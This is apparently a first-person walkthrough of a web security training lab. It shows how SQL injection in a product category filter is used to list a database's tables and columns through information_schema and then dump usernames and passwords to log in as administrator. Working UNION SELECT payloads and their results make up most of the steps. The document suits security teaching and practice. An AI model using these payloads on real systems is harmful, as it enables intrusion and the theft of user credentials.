SQL injection attack, listing the database contents on non-Oracle databases

1. This lab contains a SQL injection vulnerability in the product category filter.

2. I need to know the table name that contains users' info and need to know the username and password columns name then retrieve the administrator password to login with it.

3. Let's start to inject our basic payload to know how many columns are retrieved.

   Category=Pets' ORDER BY #of columns

   There are two columns.

4. Let's try to know the table name. From cheat sheet I get how to know tables and columns name for non-Oracle databases.

   ```
   SELECT * FROM information_schema.tables
   SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
   ```

   So, the payload will be like this:

   category=Pets' UNION SELECT table_name, NULL FROM information_schema.tables--

   I got it. The users' table is called **users_ffknrt**

5. Let's try it one more time but this time to get columns name. The payload is:

   category=Pets' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name ='users_ffknrt'--

6. Here we go. The username and password columns are **username_jrzuva, password_aihfdy**

7. Now, we are ready to inject the final payload to get usernames and passwords.
   `category=Pets' UNION SELECT username_jrzuva, password_aihfdy FROM users_ffknrt--`

8. Finally, I get users' info. The administrator password is: **bl53zkevrv8kzjd8awwa**

9. I logged in with administrator credentials successfully.